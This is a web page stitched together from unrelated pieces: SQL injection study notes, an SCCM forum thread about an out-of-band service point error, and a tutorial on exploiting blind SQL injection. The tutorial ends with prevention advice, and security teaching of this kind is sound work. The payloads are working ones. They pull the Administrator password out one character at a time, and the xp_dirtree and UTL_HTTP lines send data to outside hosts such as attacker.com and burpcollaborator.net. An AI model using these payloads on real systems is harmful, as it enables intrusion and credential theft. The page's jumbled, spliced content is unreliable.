  • E.g. SELECT*FROM table_nameWHERE id=@id" (missing whitespaces) would cause incorrect syntax error.

UNION SQL injection

  • 📝 Using the UNION operator to inject a malicious query.
  • Allows appending results to the original query.
  • E.g. SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Tautology

  • Manipulating the WHERE operator in the query to always have a true value
  • 📝 Utilizes OR operator e.g. by appending OR 1 = 1
  • E.g. select * from user_details where userid = 'abcd' and password = 'anything' or 'x'='x'
  • 🤗 In logic, a tautology is a formula which is true in every possible interpretation
    • E.g. either it will rain tomorrow, or it won’t rain

Comment SQL injection

End-of line comment

  • Also known as • terminating querysingle-line comment • *end-of-line comment • end of line comment.
  • 📝 Usually done by adding -- at the end of the injected query
    • -- (two dashes): comment out the rest so SQL engine ignores the rest of the query
  • E.g. by appending ' or 1 = 1 -- in the end of the query would ignore the password check
    • select * from users where name='injection starts here' or 1=1 --' AND password='pwd'
    • Basically tells the server if 1 = 1 (always true) to allow the login.
    • Double dash (—) tells the server to ignore the rest of the query

Inline comments

  • Using C-style comments to eliminate a part of the query.
  • Requires attacker having a good idea of how the input is integrated.
  • E.g.
    • Query is

        $sql = "INSERT INTO members (username, isadmin, password) VALUES ('".$username."', 0, '".$password."')"
    • Attackers input include username and password

    • Attacker enters following values to avoid password check:

      • attacker', 1, /*
      • */'pwd
    • It then generate:

        INSERT INTO members (username, isadmin, password) VALUES ('attacker', 1, /*', 0, '*/'pwd')

Piggyback query

  • Also known as • piggybacked querypiggy-backed querystatement injection
  • Appending malicious query to the end of the original one.
  • Common way is to append the query delimiter (;��)
    • E.g. normal SQL statement + ";" + INSERT (or UPDATE, DELETE, DROP) <rest of injected query>

Blind SQL injection

  • Also known as • blind SQLiinferential SQL injectioninferential SQLiinference SQL injectioninference SQLi
  • Attacker is unable to see the direct results of the injected queries
    • instead attacker observes web applications response and behavior.
  • As database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions.
  • Allows remote database fingerprinting to e.g. know which type of database is in use
  • Can be automated using e.g.
    • Absinthe :: Automated Blind SQL Injection
    • SQLBrute, multi threaded blind SQL injection bruteforcer in Python
    • bsqlbf, a blind SQL injection tool in Perl

Boolean-based blind SQL

  • Also called content-based blind SQL
  • Attacker forms queries to return true or false
  • Depends on changing HTTP results depending on SQL results for each condition.
  • Allows enumerating the database character by character (slow)
  • E.g.
    • URL: http://newspaper.com/items.php?id=2
    • Query in back-end: SELECT title, description, body FROM items WHERE ID = 2
    • Attacker sends http://newspaper.com/items.php?id=2 and 1=2 to make it return false
    • Attacker inspects if application shows a page or with which status code

Time-based SQL injection

  • Also called • time delay SQL injectiondouble blind SQL injection2blind SQL injection
  • 📝 Using time delay to evaluate the result (true or false) of the malicious query
  • Allows for testing of existing vulnerabilities.
  • Uses commands like waitfor, sleep, benchmark
    • Helps with database fingerprinting as MySQL, MSSQL, and Oracle have different functions to get current time.
    • E.g. http://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10'--
  • Allows enumerating each character (very slow)
    • E.g. if database name starts with A, wait 10 seconds
    • Can use character comparison, regex or LIKE in Microsoft SQL.
  • Time consuming, but there are automated tools such as sqlmap

Heavy query

  • Injecting queries that takes time to test
  • Useful when time functions such as waitfor are disabled by administrator
  • E.g. SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C
    • Can inject something like: 1 AND 1>(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)

Out-of-band SQL injection

  • Also known as • OOB injectionOOB SQLi
  • Exhilarate data through outbound channel
    • E.g. e-mail sending or file writing/reading functionalities
  • Difficult as it depends on target having
    • Supported databases that can initiate outbound DNS or HTTP requests
    • Lack of input validation
    • Network access to the database server
    • Privileges execute the necessary function
  • E.g. ||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM users))
  • Remove From My Forums
  • Question

  • Hello again,

    Can anyone help me out with the following error message?  I’ve been googling it with out any luck yet.  I only have one SCCM server in my organisation, so it’s not due to miscommunicating with other SCCM servers or anything(the managment controller
    and the out of band service point).

    LP

    The out of band service point failed to discover with error 0x 0.

    Possible cause: This condition can be caused by transient network connectivity errors. The credential used to connect management controller is invalid. The management controllers are in unavailable status.

    Solution: Verify network connectivity is functional between the out of band service point and the management controller.  Verify that the credential used to connect the management controller is valid.  It may be necessary to reset the management controller
    to factory mode and provision it again.

Answers

  • Did you configure an Out of Band Service Point? It’s only needed if you need to use the feature. But there are requirements for using each feature. The requirements are not all automatically installed by ConfigMgr. Check
    http://technet.microsoft.com/en-us/library/cc161785.aspx for prereqs.


    Kent Agerlund | http://scug.dk/members/Agerlund/default.aspx | The Danish community for System Center products

    • Proposed as answer by

      Tuesday, April 20, 2010 9:16 AM

    • Marked as answer by
      Robinson Zhang
      Friday, May 7, 2010 11:01 AM

In this section, we’ll describe what blind SQL injection is, explain various techniques for finding and exploiting blind SQL injection vulnerabilities.

What is blind SQL injection?

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a «Welcome back» message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the «Welcome back» message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the «Welcome back» message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the «Welcome back» message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the «Welcome back» message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the «Welcome back» message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

We can continue this process to systematically determine the full password for the Administrator user.

Inducing conditional responses by triggering SQL errors

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application’s responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application’s response (such as an error message), allowing us to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application’s HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Note

There are various ways of triggering conditional errors, and different techniques work best on different database types. For more details, see the SQL injection cheat sheet.

Exploiting blind SQL injection by triggering time delays

In the preceding example, suppose that the application now catches database errors and handles them gracefully. Triggering a database error when the injected SQL query is executed no longer causes any difference in the application’s response, so the preceding technique of inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of an SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

The techniques for triggering a time delay are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Note

There are various ways of triggering time delays within SQL queries, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.

Exploiting blind SQL injection using out-of-band (OAST) techniques

Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute an SQL query using the tracking cookie. The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application’s response doesn’t depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application. Support for Burp Collaborator is built in to Burp Suite Professional with no configuration required.

The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

This will cause the database to perform a lookup for the following domain:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

You can use Burp Suite’s Collaborator client to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.

Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This will result in a DNS lookup like the following, allowing you to view the captured password:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Out-of-band (OAST) techniques are an extremely powerful way to detect and exploit blind SQL injection, due to the highly likelihood of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.

Note

There are various ways of triggering out-of-band interactions, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.

How to prevent blind SQL injection attacks?

Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not.

As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.

Понравилась статья? Поделить с друзьями:
  • Error orpsim 16407 missing model
  • Error orpsim 16103 invalid value
  • Error org springframework web servlet dispatcherservlet context initialization failed
  • Error org springframework web context contextloader context initialization failed
  • Error org springframework boot springapplication application run failed утм